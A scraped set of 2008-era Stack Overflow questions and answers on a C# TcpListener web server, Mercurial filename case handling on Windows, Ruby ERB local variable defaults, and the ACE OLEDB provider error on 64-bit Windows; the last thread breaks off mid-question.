<p>I'm trying to make a simple C# web server that, at this stage, you can access via your browser and will just do a "Hello World". </p> <p>The problem I'm having is that the server can receive data fine - I get the browser's header information - but the browser doesn't receive anything I send. Furthermore, I can only connect to the server by going to localhost (or 127.0.0.1). I can't get to it by going to my IP and it's not a network setting because Apache works fine if I run that instead. Also, I'm using a port monitoring program and after I attempt a connection from a browser, the process's port gets stuck in a TIME_WAIT state even though I told the connection to close and it should be back to LISTEN.</p> <p>Here's the relevant code. A couple calls might not make sense but this is a piece of a larger program.</p> <pre><code>class ConnectionHandler { private Server server; private TcpListener tcp; private ArrayList connections; private bool listening; private Thread listeningThread; public Server getServer() { return server; } private void log(String s, bool e) { server.log("Connection Manager: " + s, e); } private void threadedListen() { while (listening) { try { TcpClient t = tcp.AcceptTcpClient(); Connection conn = new Connection(this, t); } catch (NullReferenceException) { log("unable to accept connections!", true); } } log("Stopped listening", false); } public void listen() { log("Listening for new connections", false); tcp.Start(); listening = true; if (listeningThread != null &amp;&amp; listeningThread.IsAlive) { listeningThread.Abort(); } listeningThread = new Thread(new ThreadStart( this.threadedListen)); listeningThread.Start(); } public void stop() { listening = false; if (listeningThread != null) { listeningThread.Abort(); log("Forced stop", false); } log("Stopped listening", false); } public ConnectionHandler(Server server) { this.server = server; tcp = new TcpListener(new IPEndPoint( IPAddress.Parse("127.0.0.1"), 80)); connections = new ArrayList(); } } class Connection { private Socket socket; private TcpClient tcp; private ConnectionHandler ch; public Connection(ConnectionHandler ch, TcpClient t) { try { this.ch = ch; this.tcp = t; ch.getServer().log("new tcp connection to " + this.tcp.Client.RemoteEndPoint.ToString(), false); NetworkStream ns = t.GetStream(); String responseString; Byte[] response; Int32 bytes; responseString = String.Empty; response = new Byte[512]; bytes = ns.Read(response, 0, response.Length); responseString = System.Text.Encoding.ASCII.GetString(response, 0, bytes); ch.getServer().log("Received: " + responseString); String msg = "&lt;html&gt;Hello World&lt;/html&gt;"; String fullMsg = "HTTP/1.x 200 OK\r\n" + "Server: Test Server\r\n" + "Content-Type: text/html; " + "charset=UTF-8\r\n" + "Content-Length: " + msg.Length + "\r\n" + "Date: Sun, 10 Aug 2008 22:59:59 GMT" + "\r\n"; nsSend(fullMsg, ns); nsSend(msg, ns); ns.Close(); tcp.Close(); } catch (ArgumentNullException e) { ch.getServer().log("connection error: argument null exception: " + e); } catch (SocketException e) { ch.getServer().log("connection error: socket exception: " + e); } } private void nsSend(String s, NetworkStream ns) { Byte[] data = System.Text.Encoding.ASCII.GetBytes(s); ns.Write(data, 0, data.Length); ns.Flush(); ch.getServer().log("Sent: " + s); } } </code></pre> <p>Does anyone have any ideas? It feels like it's gotta be something stupid on my part but I just don't know what. I'd really appreciate any insight</p>
[ { "answer_id": 238616, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 1, "selected": false, "text": "<p>One thing which isn't a problem at the moment but might be later on is that your content length is based on the <em>Unicode</em> length of the message string, not the <em>binary</em> length.</p>\n\n<p>There's also rather a lot going on in the Connection constructor - stuff that really doesn't belong in a constructor at all, IMO. It also doesn't close things if exceptions occur.</p>\n\n<p>Have you looked at what's going on in a network tracer like WireShark? That would be the easiest way of seeing whether <em>any</em> data is getting sent back to the client.</p>\n\n<p>Alternatively, post a short but complete version of your code which we can compile and run ourselves.</p>\n" }, { "answer_id": 238640, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 2, "selected": true, "text": "<p>You might like to know that you can use <a href=\"http://msdn.microsoft.com/en-us/library/system.net.httplistener.aspx\" rel=\"nofollow noreferrer\"><code>HttpListener</code></a> to write a basic web-server very easily - this deals with most of the painful bits, letting you concentrate on writing the actual code. The MSDN page gives an example.</p>\n\n<p>Note that this uses HTTP.SYS, which is good - but means that non-admins need to be explicitly given access to open ports; on xp you can do this with <code>httpcfg</code>; on vista you can use <code>netsh</code>. See <a href=\"https://stackoverflow.com/questions/169904/can-i-listen-on-a-port-using-httplistener-or-other-net-code-on-vista-without-re#195256\">here</a> for more.</p>\n" }, { "answer_id": 238655, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>Maybe I'm just missing something but the reason you can only connect on localhost is because the IP you are listening on is 127.0.0.1, this makes the TCPListener only listen on that IP address. And I don't see anywhere you are calling any client disconnect, the TCPListener is a blocking call, so it sits there forever until a connection is made. In my past experience with TCP/IP and the TCPListener, TCPClient classes there is not much of a way to force the listener to drop it's connection until you drop the client connection. Calling TCPListener.Abort() doesn't drop the client connection which keeps the port blocked up.</p>\n" }, { "answer_id": 54193695, "author": "Eddie.Power_AU", "author_id": 2417292, "author_profile": "https://Stackoverflow.com/users/2417292", "pm_score": 0, "selected": false, "text": "<p>For anyone in similar situation where you want to access you C# server from the local network ip address then you will need to listen to address 0.0.0.0 meaning listen on all ip addresses not a specific one like 127.0.0.1 etc.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238606", "https://Stackoverflow.com", "https://Stackoverflow.com/users/19696/" ]
I'm trying to make a simple C# web server that, at this stage, you can access via your browser and will just do a "Hello World". The problem I'm having is that the server can receive data fine - I get the browser's header information - but the browser doesn't receive anything I send. Furthermore, I can only connect to the server by going to localhost (or 127.0.0.1). I can't get to it by going to my IP and it's not a network setting because Apache works fine if I run that instead. Also, I'm using a port monitoring program and after I attempt a connection from a browser, the process's port gets stuck in a TIME\_WAIT state even though I told the connection to close and it should be back to LISTEN. Here's the relevant code. A couple calls might not make sense but this is a piece of a larger program. ``` class ConnectionHandler { private Server server; private TcpListener tcp; private ArrayList connections; private bool listening; private Thread listeningThread; public Server getServer() { return server; } private void log(String s, bool e) { server.log("Connection Manager: " + s, e); } private void threadedListen() { while (listening) { try { TcpClient t = tcp.AcceptTcpClient(); Connection conn = new Connection(this, t); } catch (NullReferenceException) { log("unable to accept connections!", true); } } log("Stopped listening", false); } public void listen() { log("Listening for new connections", false); tcp.Start(); listening = true; if (listeningThread != null && listeningThread.IsAlive) { listeningThread.Abort(); } listeningThread = new Thread(new ThreadStart( this.threadedListen)); listeningThread.Start(); } public void stop() { listening = false; if (listeningThread != null) { listeningThread.Abort(); log("Forced stop", false); } log("Stopped listening", false); } public ConnectionHandler(Server server) { this.server = server; tcp = new TcpListener(new IPEndPoint( IPAddress.Parse("127.0.0.1"), 80)); connections = new ArrayList(); } } class Connection { private Socket socket; private TcpClient tcp; private ConnectionHandler ch; public Connection(ConnectionHandler ch, TcpClient t) { try { this.ch = ch; this.tcp = t; ch.getServer().log("new tcp connection to " + this.tcp.Client.RemoteEndPoint.ToString(), false); NetworkStream ns = t.GetStream(); String responseString; Byte[] response; Int32 bytes; responseString = String.Empty; response = new Byte[512]; bytes = ns.Read(response, 0, response.Length); responseString = System.Text.Encoding.ASCII.GetString(response, 0, bytes); ch.getServer().log("Received: " + responseString); String msg = "<html>Hello World</html>"; String fullMsg = "HTTP/1.x 200 OK\r\n" + "Server: Test Server\r\n" + "Content-Type: text/html; " + "charset=UTF-8\r\n" + "Content-Length: " + msg.Length + "\r\n" + "Date: Sun, 10 Aug 2008 22:59:59 GMT" + "\r\n"; nsSend(fullMsg, ns); nsSend(msg, ns); ns.Close(); tcp.Close(); } catch (ArgumentNullException e) { ch.getServer().log("connection error: argument null exception: " + e); } catch (SocketException e) { ch.getServer().log("connection error: socket exception: " + e); } } private void nsSend(String s, NetworkStream ns) { Byte[] data = System.Text.Encoding.ASCII.GetBytes(s); ns.Write(data, 0, data.Length); ns.Flush(); ch.getServer().log("Sent: " + s); } } ``` Does anyone have any ideas? It feels like it's gotta be something stupid on my part but I just don't know what. I'd really appreciate any insight
You might like to know that you can use [`HttpListener`](http://msdn.microsoft.com/en-us/library/system.net.httplistener.aspx) to write a basic web-server very easily - this deals with most of the painful bits, letting you concentrate on writing the actual code. The MSDN page gives an example. Note that this uses HTTP.SYS, which is good - but means that non-admins need to be explicitly given access to open ports; on xp you can do this with `httpcfg`; on vista you can use `netsh`. See [here](https://stackoverflow.com/questions/169904/can-i-listen-on-a-port-using-httplistener-or-other-net-code-on-vista-without-re#195256) for more.
238,608
<p>I'm using TortoiseHg 0.5 (which includes Mercurial 1.0.2) on Vista64. My understanding from the <a href="http://hgbook.red-bean.com/hgbookch7.html#x11-1530007.7" rel="noreferrer">Mercurial Book</a> is that Mercurial should handle filenames in a case-insensitive manner on a case-insensitive filesystem (such as NTFS, which is what I'm on). However I find that my installation of Mercurial is in fact sensitive to case:</p> <pre><code>&gt;hg status -A foo C foo &gt;hg status -A FOO ? FOO </code></pre> <p>Could this be a bug in Mercurial, a bug in the TortoiseHg build of Mercurial, or is it something else? How can I achieve case-insensitive filename handling from Mercurial on Windows?</p>
[ { "answer_id": 245867, "author": "Ry4an Brase", "author_id": 8992, "author_profile": "https://Stackoverflow.com/users/8992", "pm_score": 3, "selected": false, "text": "<p>I think you misread the hgbook. The intro to section 7.7 is just describing the three different types of case sensitivity that exist in OSs, not saying that mercurial will mirror those semantics.</p>\n\n<p>Later in section 7.7.2 'Detecting case conflicts' it says:</p>\n\n<blockquote>\n <p>When operating in the working\n directory, Mercurial honours the\n naming policy of the filesystem where\n the working directory is located. If\n the filesystem is case preserving, but\n insensitive, Mercurial will treat\n names that differ only in case as the\n same.</p>\n</blockquote>\n\n<p>When you do <code>hg status -A FOO</code> the process that's happening within mercurial is:</p>\n\n<ol>\n<li>Check if a file exists on the file system matching the file argument, 'FOO', -- and at this point it's being case insensitive so it finds 'foo' and says \"yup, I've got a file\"</li>\n<li>Check if there's an entry in the file manifest matching the file argument, 'FOO', and there isn't, so status shows a '?' saying it's a file on disk that hg isn't tracking</li>\n</ol>\n\n<p>To better see mercurial not caring about case on NTFS try these steps:</p>\n\n<ol>\n<li>hg init</li>\n<li>echo line > Foo</li>\n<li>hg add Foo</li>\n<li>hg commit -m 'committed Foo'</li>\n<li>move Foo not-foo</li>\n<li>move not-foo FOO</li>\n<li>hg status</li>\n</ol>\n\n<p>and you should see hg saying that nothing has changed because the only thing that has changed is the case which hg is ignoring for you.</p>\n\n<p>When I do the same thing on linux I instead see:</p>\n\n<pre><code>! Foo\n? FOO\n</code></pre>\n" }, { "answer_id": 529728, "author": "Mentat", "author_id": 30198, "author_profile": "https://Stackoverflow.com/users/30198", "pm_score": 4, "selected": true, "text": "<p>This issue has been resolved in Mercurial 1.1! From the <a href=\"http://www.selenic.com/mercurial/wiki/index.cgi/WhatsNew#head-b1d1f9a535adb686d6e0a490e049261313f10d7d\" rel=\"noreferrer\">release notes</a>: \"Improved correctness in the face of casefolding filesystems\".</p>\n\n<p>On Windows, Mercurial now ignores case in its command line arguments:</p>\n\n<pre><code>&gt;hg status -A foo\nC foo\n&gt;hg status -A FOO\nC foo\n</code></pre>\n\n<p>And it also is aware that filename changes that only involve case are not new files:</p>\n\n<pre><code>&gt;ren foo FOO\n&gt;hg status -A fOO\nC foo\n</code></pre>\n\n<p>Thus there's no longer any risk of overlooking changes due to mistypes on the command line.</p>\n\n<p><strong>However, be aware that the contents of the .hgignore file remain case sensitive.</strong> This is an issue only if you're using glob syntax; with regexp syntax you can put (?i) at the beginning of patterns to make them insensitive.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238608", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30198/" ]
I'm using TortoiseHg 0.5 (which includes Mercurial 1.0.2) on Vista64. My understanding from the [Mercurial Book](http://hgbook.red-bean.com/hgbookch7.html#x11-1530007.7) is that Mercurial should handle filenames in a case-insensitive manner on a case-insensitive filesystem (such as NTFS, which is what I'm on). However I find that my installation of Mercurial is in fact sensitive to case: ``` >hg status -A foo C foo >hg status -A FOO ? FOO ``` Could this be a bug in Mercurial, a bug in the TortoiseHg build of Mercurial, or is it something else? How can I achieve case-insensitive filename handling from Mercurial on Windows?
This issue has been resolved in Mercurial 1.1! From the [release notes](http://www.selenic.com/mercurial/wiki/index.cgi/WhatsNew#head-b1d1f9a535adb686d6e0a490e049261313f10d7d): "Improved correctness in the face of casefolding filesystems". On Windows, Mercurial now ignores case in its command line arguments: ``` >hg status -A foo C foo >hg status -A FOO C foo ``` And it also is aware that filename changes that only involve case are not new files: ``` >ren foo FOO >hg status -A fOO C foo ``` Thus there's no longer any risk of overlooking changes due to mistypes on the command line. **However, be aware that the contents of the .hgignore file remain case sensitive.** This is an issue only if you're using glob syntax; with regexp syntax you can put (?i) at the beginning of patterns to make them insensitive.
238,615
<p>I have a quite old templating system written on top of ERB. It relies on ERB templates stored in database. Those are read and rendered. When I want to pass data from one template to another I use the :locals parameter to Rails render method. For setting default variables of those variables in some templates I use the defined? method which simply tells me if local variable has been defined and if not I initialize it with default value like this: </p> <pre><code>unless defined?(perex) perex = true end </code></pre> <p>I am upgrading the app to latest Rails and I see some weird behavior. Basically this sometimes works (sometimes perex is undefined) and sometimes it does not (perex is defined and set to nil). This happens without anything else changing.</p> <p>I have two questions: Is there any better way other than using defined? which is proving unreliable (was reliable for several years on top Rails 1.6)? Such a way should not result in me rewriting all the templates. I have been going through Ruby docs and was not able to find anything about defined? method. Was it deprecated or am I just plain blind?</p> <p><em>Edit:</em> The actual issue was caused by what seems to be a Ruby/eRB bug. Sometimes the <em>unless</em> statement would work, but sometimes not. The weird thing is that even if the second line got executed <em>perex</em> stil stayed nil to the rest of the world. Removing defined? resolved that.</p>
[ { "answer_id": 238715, "author": "Rômulo Ceccon", "author_id": 23193, "author_profile": "https://Stackoverflow.com/users/23193", "pm_score": 6, "selected": true, "text": "<p>First: actually, <a href=\"http://ruby-doc.com/docs/ProgrammingRuby/html/tut_expressions.html#UG\" rel=\"noreferrer\"><code>defined?</code> is an operator</a>.</p>\n\n<p>Second: if I understand your question correctly, the way to do it is with this Ruby idiom:</p>\n\n<pre><code>perex ||= true\n</code></pre>\n\n<p>That'll assign true to <code>perex</code> if it's undefined or <code>nil</code>. It's not exactly what your example does, since yours doesn't evaluate the assignment when the value is <code>nil</code>, but if you are relying on that then, in my opinion, without seeing it, you're not writing clear code.</p>\n\n<p><em>Edit</em>: As Honza noted, the statement above will replace the value of <code>perex</code> when it's <code>false</code>. Then I propose the following to rewrite the minimum number of lines:</p>\n\n<pre><code>perex ||= perex.nil? # Assign true only when perex is undefined or nil\n</code></pre>\n" }, { "answer_id": 633927, "author": "mislav", "author_id": 11687, "author_profile": "https://Stackoverflow.com/users/11687", "pm_score": 5, "selected": false, "text": "<p>The safest way of testing if a local is defined in a Rails template is:</p>\n\n<pre><code>local_assigns[:perex]\n</code></pre>\n\n<p>This is documented in the Rails API together with the explanation that <code>defined?</code> cannot be used because of a implementation restriction.</p>\n" }, { "answer_id": 1924195, "author": "KenB", "author_id": 234077, "author_profile": "https://Stackoverflow.com/users/234077", "pm_score": 4, "selected": false, "text": "<p>Per mislav's answer, I went looking for that documentation in the Rails API, and found it in <a href=\"http://api.rubyonrails.org/classes/ActionView/Base.html\" rel=\"noreferrer\">Class ActionView::Base</a> (under the heading \"Passing local variables to sub templates\"). It was hardly worth the search, though, since it barely said anything more than mislav did. Except that it recommends this pattern:</p>\n\n<pre><code>if local_assigns.has_key? :perex\n</code></pre>\n" }, { "answer_id": 11616785, "author": "Matt Huggins", "author_id": 107277, "author_profile": "https://Stackoverflow.com/users/107277", "pm_score": 3, "selected": false, "text": "<p>Taking into considerationg <a href=\"https://stackoverflow.com/questions/238615/defined-method-in-ruby-and-rails/633927#633927\">mislav's original answer</a> and <a href=\"https://stackoverflow.com/questions/238615/defined-method-in-ruby-and-rails/1924195#1924195\">KenB's elaboration</a>, I think the following is the absolute best approach (though I'm open to opinion). It utilizes Ruby's <a href=\"http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch\" rel=\"nofollow noreferrer\">Hash#fetch</a> method to fallback on an alternate value if the key does not exist in the original hash.</p>\n\n<pre><code>perex = local_assigns.fetch(:perex, true)\n</code></pre>\n\n<p>This is even better than the <code>||=</code> method that most users will suggest since sometimes you will want to allow <code>false</code> values. For example, the following code will <em>never</em> allow a <code>false</code> value to be passed in:</p>\n\n<pre><code>perex = local_assigns[:perex] || true\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238615", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8621/" ]
I have a quite old templating system written on top of ERB. It relies on ERB templates stored in database. Those are read and rendered. When I want to pass data from one template to another I use the :locals parameter to Rails render method. For setting default variables of those variables in some templates I use the defined? method which simply tells me if local variable has been defined and if not I initialize it with default value like this: ``` unless defined?(perex) perex = true end ``` I am upgrading the app to latest Rails and I see some weird behavior. Basically this sometimes works (sometimes perex is undefined) and sometimes it does not (perex is defined and set to nil). This happens without anything else changing. I have two questions: Is there any better way other than using defined? which is proving unreliable (was reliable for several years on top Rails 1.6)? Such a way should not result in me rewriting all the templates. I have been going through Ruby docs and was not able to find anything about defined? method. Was it deprecated or am I just plain blind? *Edit:* The actual issue was caused by what seems to be a Ruby/eRB bug. Sometimes the *unless* statement would work, but sometimes not. The weird thing is that even if the second line got executed *perex* stil stayed nil to the rest of the world. Removing defined? resolved that.
First: actually, [`defined?` is an operator](http://ruby-doc.com/docs/ProgrammingRuby/html/tut_expressions.html#UG). Second: if I understand your question correctly, the way to do it is with this Ruby idiom: ``` perex ||= true ``` That'll assign true to `perex` if it's undefined or `nil`. It's not exactly what your example does, since yours doesn't evaluate the assignment when the value is `nil`, but if you are relying on that then, in my opinion, without seeing it, you're not writing clear code. *Edit*: As Honza noted, the statement above will replace the value of `perex` when it's `false`. Then I propose the following to rewrite the minimum number of lines: ``` perex ||= perex.nil? # Assign true only when perex is undefined or nil ```
238,625
<p>I have a Visual Studio 2008 solution with two projects (a Word-Template project and a VB.Net console application for testing). Both projects reference a database project which opens a connection to an MS-Access 2007 database file and have references to System.Data.OleDb. In the database project I have a function which retrieves a data table as follows</p> <pre><code> private class AdminDatabase ' stores the connection string which is set in the New() method dim strAdminConnection as string public sub New() ... adminName = dlgopen.FileName conAdminDB = New OleDbConnection conAdminDB.ConnectionString = "Data Source='" + adminName + "';" + _ "Provider=Microsoft.ACE.OLEDB.12.0" ' store the connection string in strAdminConnection strAdminConnection = conAdminDB.ConnectionString.ToString() My.Settings.SetUserOverride("AdminConnectionString", strAdminConnection) ... End Sub ' retrieves data from the database Public Function getDataTable(ByVal sqlStatement As String) As DataTable Dim ds As New DataSet Dim dt As New DataTable Dim da As New OleDbDataAdapter Dim localCon As New OleDbConnection localCon.ConnectionString = strAdminConnection Using localCon Dim command As OleDbCommand = localCon.CreateCommand() command.CommandText = sqlStatement localCon.Open() da.SelectCommand = command da.Fill(dt) getDataTable = dt End Using End Function End Class </code></pre> <p>When I call this function from my Word 2007 Template project everything works fine; no errors. But when I run it from the console application it throws the following exception</p> <blockquote> <p>ex = {"The 'Microsoft.ACE.OLEDB.12.0' provider is not registered on the local machine."}</p> </blockquote> <p>Both projects have the same reference and the console application did work when I first wrote it (a while ago) but now it has stopped work. I must be missing something but I don't know what. Any ideas?</p>
[ { "answer_id": 238708, "author": "Joel Lucsy", "author_id": 645, "author_profile": "https://Stackoverflow.com/users/645", "pm_score": 3, "selected": false, "text": "<p>Are you running a 64 bit system with the database running 32 bit but the console running 64 bit? There are no MS Access drivers that run 64 bit and would report an error identical to the one your reported.</p>\n" }, { "answer_id": 478801, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 6, "selected": true, "text": "<p>I have a visual Basic program with Visual Studio 2008 that uses an Access 2007 database and was receiving the same error. I found some threads that advised changing the advanced compile configuration to x86 found in the programs properties if you're running a 64 bit system. So far I haven't had any problems with my program since. </p>\n" }, { "answer_id": 1894000, "author": "Pescadore", "author_id": 230087, "author_profile": "https://Stackoverflow.com/users/230087", "pm_score": 3, "selected": false, "text": "<hr>\n\n<p><strong>Solution:</strong> </p>\n\n<p>That's it! Thanks Arjun Paudel for the link. Here's the solution as found on XNA Creator's Club Online. It's by Stephen Styrchak. </p>\n\n<p>The following error suggests me to believe that you are compiling for 64bit:</p>\n\n<blockquote>\n <p>The 'Microsoft .ACE.OELDB.12.0' provider is not registered on the local machine</p>\n</blockquote>\n\n<p>I dont have express edition but are following steps valid in 2008 express?</p>\n\n<p><a href=\"http://forums.xna.com/forums/t/4377.aspx#22601\" rel=\"nofollow noreferrer\">http://forums.xna.com/forums/t/4377.aspx#22601</a></p>\n\n<p><a href=\"http://social.msdn.microsoft.com/Forums/en-US/vbgeneral/thread/ed374d4f-5677-41cb-bfe0-198e68810805/?prof=required\" rel=\"nofollow noreferrer\">http://social.msdn.microsoft.com/Forums/en-US/vbgeneral/thread/ed374d4f-5677-41cb-bfe0-198e68810805/?prof=required</a><br>\n- Arjun Paudel</p>\n\n<hr>\n\n<p>In <code>VC# Express</code>, this property is missing, but you can still create an x86 configuration if you know where to look.</p>\n\n<p>It looks like a long list of steps, but once you know where these things are it's a lot easier. Anyone who only has <code>VC# Express</code> will probably find this useful. Once you know about <code>Configuration Manager</code>, it'll be much more intuitive the next time.</p>\n\n<p>1.In VC# Express 2005, go to <code>Tools -&gt; Options</code>.<br>\n2.In the bottom-left corner of the Options dialog, check the box that says, <code>\"Show all settings\"</code>.<br>\n3.In the tree-view on the left hand side, select <code>\"Projects and Solutions\"</code>.<br>\n4.In the options on the right, check the box that says, <code>\"Show advanced build configuraions.\"</code><br>\n5.Click <code>OK</code>.<br>\n6.Go to <code>Build -&gt; Configuration Manager</code>...<br>\n7.In the Platform column next to your project, click the combobox and select <code>\"&lt;New...&gt;\"</code>.<br>\n8.In the <code>\"New platform\" setting, choose \"x86\"</code>.<br>\n9.Click <code>OK</code>.<br>\n10.Click <code>Close</code>.<br>\nThere, now you have an x86 configuration! Easy as pie! :-)</p>\n\n<p>I also recommend using <code>Configuration Manager</code> to delete the Any CPU platform. You really don't want that if you ever have depedencies on 32-bit native DLLs (even indirect dependencies).</p>\n\n<p>Stephen Styrchak | XNA Game Studio Developer \n<a href=\"http://forums.xna.com/forums/p/4377/22601.aspx#22601\" rel=\"nofollow noreferrer\">http://forums.xna.com/forums/p/4377/22601.aspx#22601</a></p>\n\n<hr>\n" }, { "answer_id": 2161896, "author": "Veli Gebrev", "author_id": 82555, "author_profile": "https://Stackoverflow.com/users/82555", "pm_score": 2, "selected": false, "text": "<p>I thought I'd chime in because I found this question when facing a slightly different context of the problem and thought it might help other tormented souls in the future:</p>\n\n<p>I had an ASP.NET app hosted on IIS 7.0 running on Windows Server 2008 64-bit.</p>\n\n<p>Since IIS is in control of the process bitness, the solution in my case was to set the Enable32bitAppOnWin64 setting to true:\n<a href=\"http://blogs.msdn.com/vijaysk/archive/2009/03/06/iis-7-tip-2-you-can-now-run-32-bit-and-64-bit-applications-on-the-same-server.aspx\" rel=\"nofollow noreferrer\">http://blogs.msdn.com/vijaysk/archive/2009/03/06/iis-7-tip-2-you-can-now-run-32-bit-and-64-bit-applications-on-the-same-server.aspx</a> </p>\n\n<p>It works slightly differently in IIS 6.0 (You cannot set Enable32bitAppOnWin64 at application-pool level)\n<a href=\"http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/0aafb9a0-1b1c-4a39-ac9a-994adc902485.mspx?mfr=true\" rel=\"nofollow noreferrer\">http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/0aafb9a0-1b1c-4a39-ac9a-994adc902485.mspx?mfr=true</a></p>\n" }, { "answer_id": 2648640, "author": "Matt", "author_id": 317940, "author_profile": "https://Stackoverflow.com/users/317940", "pm_score": 6, "selected": false, "text": "<p>Basically, if you're on a 64-bit machine, IIS 7 is not (by default) serving 32-bit apps, which the database engine operates on. So here is exactly what you do:</p>\n\n<p>1) ensure that the 2007 database engine is installed, this can be downloaded at:\n<a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=7554F536-8C28-4598-9B72-EF94E038C891&amp;displaylang=en\" rel=\"noreferrer\">http://www.microsoft.com/downloads/details.aspx?FamilyID=7554F536-8C28-4598-9B72-EF94E038C891&amp;displaylang=en</a></p>\n\n<p>2) open IIS7 manager, and open the Application Pools area. On the right sidebar, you will see an option that says \"Set application pool defaults\". Click it, and a window will pop up with the options.</p>\n\n<p>3) the second field down, which says 'Enable 32-bit applications' is probably set to FALSE by default. Simply click where it says 'false' to change it to 'true'.</p>\n\n<p>4) Restart your app pool (you can do this by hitting RECYCLE instead of STOP then START, which will also work). </p>\n\n<p>5) done, and your error message will go away.</p>\n" }, { "answer_id": 2712611, "author": "jazzwhistle", "author_id": 283182, "author_profile": "https://Stackoverflow.com/users/283182", "pm_score": 1, "selected": false, "text": "<p>I've got the same error on a fully updated Windows Vista Family 64bit with a .NET application that I've compiled to 32 bit only - the program is installed in the programx86 folder on 64 bit machines. It fails with this error message even with 2007 access database provider installed, with/wiothout the SP2 of the same installed, IIS installed and app pool set for 32bit app support... yes I've tried every solution everywhere and still no success. </p>\n\n<p>I switched my app to ACE OLE DB.12.0 because JET4.0 was failing on 64bit machines - and it's no better :-/ The most promising thread I've found was this: </p>\n\n<p><a href=\"http://ellisweb.net/2010/01/connecting-to-excel-and-access-files-using-net-on-a-64-bit-server/\" rel=\"nofollow noreferrer\">http://ellisweb.net/2010/01/connecting-to-excel-and-access-files-using-net-on-a-64-bit-server/</a> </p>\n\n<p>but when you try to install the 64 bit \"2010 Office System Driver Beta: Data Connectivity Components\" it tells you that you can't install the 64 bit version without uninstalling all 32bit office applications... and installing the 32 bit version of 2010 Office System Driver Beta: Data Connectivity Components doesn't solve the initial problem, even with \"Microsoft.ACE.OLEDB.12.0\" as provider instead of \"Microsoft.ACE.OLEDB.14.0\" which that page (and others) recommend.</p>\n\n<p>My next attempt will be to follow this post:</p>\n\n<p>The issue is due to the wrong flavor of OLEDB32.DLL and OLEDB32r.DLL being registered on the server. If the 64 bit versions are registered, they need to be unregistered, and then the 32 bit versions registered instead. To fix this, unregister the versions located in %Program Files%/Common Files/System/OLE DB. Then register the versions at the same path but in the %Program Files (x86)% directory.</p>\n\n<p>Has anyone else had so much trouble with both JET4.0 and OLEDB ACE providers on 64 bit machines? Has anyone found a solution if none of the others work?</p>\n" }, { "answer_id": 2831553, "author": "xdxavier", "author_id": 340873, "author_profile": "https://Stackoverflow.com/users/340873", "pm_score": 2, "selected": false, "text": "<p>I'm having same problem. I try to install office 2010 64bit on windows 7 64 bit and then install 2007 Office System Driver : Data Connectivity Components.</p>\n\n<p>after that, visual studio 2008 can opens a connection to an MS-Access 2007 database file.</p>\n" }, { "answer_id": 21455784, "author": "TechSpud", "author_id": 1368849, "author_profile": "https://Stackoverflow.com/users/1368849", "pm_score": 2, "selected": false, "text": "<p>See my post on a similar Stack Exchange thread <a href=\"https://stackoverflow.com/a/21455677/1368849\">https://stackoverflow.com/a/21455677/1368849</a></p>\n\n<p>I had version 15, not 12 installed, which I found out by running this PowerShell code...</p>\n\n<pre><code>(New-Object system.data.oledb.oledbenumerator).GetElements() | select SOURCES_NAME, SOURCES_DESCRIPTION\n</code></pre>\n\n<p>...which gave me this result (I've removed other data sources for brevity)...</p>\n\n<pre><code>SOURCES_NAME SOURCES_DESCRIPTION \n------------ ------------------- \nMicrosoft.ACE.OLEDB.15.0 Microsoft Office 15.0 Access Database Engine OLE DB Provider\n</code></pre>\n" }, { "answer_id": 35319139, "author": "Merav Kochavi", "author_id": 3637582, "author_profile": "https://Stackoverflow.com/users/3637582", "pm_score": 1, "selected": false, "text": "<p>I am assuming that if you are running a 64 bit system with a 32 bit database and trying to run a 64 bit console, the following packages need to be installed on the machine.</p>\n\n<ol>\n<li>Install the Microsoft Access Database Engine 2010 x86\nRedistributable, this installation is available at:\n<a href=\"http://www.microsoft.com/download/en/details.aspx?id=13255\" rel=\"nofollow\">http://www.microsoft.com/download/en/details.aspx?id=13255</a> .</li>\n<li>Data Connectivity Components of Office 2007, this installation is\navailable at:\n<a href=\"http://www.microsoft.com/download/en/confirmation.aspx?id=23734\" rel=\"nofollow\">http://www.microsoft.com/download/en/confirmation.aspx?id=23734</a> .</li>\n<li>Microsoft Access Database Engine 2010 x64 Redistributable. You will\nneed to download the package locally and run it with a passive flag.\nYou can download the installation here:\n<a href=\"http://www.microsoft.com/en-us/download/details.aspx?id=13255\" rel=\"nofollow\">http://www.microsoft.com/en-us/download/details.aspx?id=13255</a>\nInstalling using the command prompt with the '/passive' flag. In the\ncommand prompt run the following command:\n'AccessDatabaseEngine_x64.exe /passive'</li>\n</ol>\n\n<p>Note: The order seems to matter - so if you have anything installed already, uninstall and follow the steps above.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238625", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4612/" ]
I have a Visual Studio 2008 solution with two projects (a Word-Template project and a VB.Net console application for testing). Both projects reference a database project which opens a connection to an MS-Access 2007 database file and have references to System.Data.OleDb. In the database project I have a function which retrieves a data table as follows ``` private class AdminDatabase ' stores the connection string which is set in the New() method dim strAdminConnection as string public sub New() ... adminName = dlgopen.FileName conAdminDB = New OleDbConnection conAdminDB.ConnectionString = "Data Source='" + adminName + "';" + _ "Provider=Microsoft.ACE.OLEDB.12.0" ' store the connection string in strAdminConnection strAdminConnection = conAdminDB.ConnectionString.ToString() My.Settings.SetUserOverride("AdminConnectionString", strAdminConnection) ... End Sub ' retrieves data from the database Public Function getDataTable(ByVal sqlStatement As String) As DataTable Dim ds As New DataSet Dim dt As New DataTable Dim da As New OleDbDataAdapter Dim localCon As New OleDbConnection localCon.ConnectionString = strAdminConnection Using localCon Dim command As OleDbCommand = localCon.CreateCommand() command.CommandText = sqlStatement localCon.Open() da.SelectCommand = command da.Fill(dt) getDataTable = dt End Using End Function End Class ``` When I call this function from my Word 2007 Template project 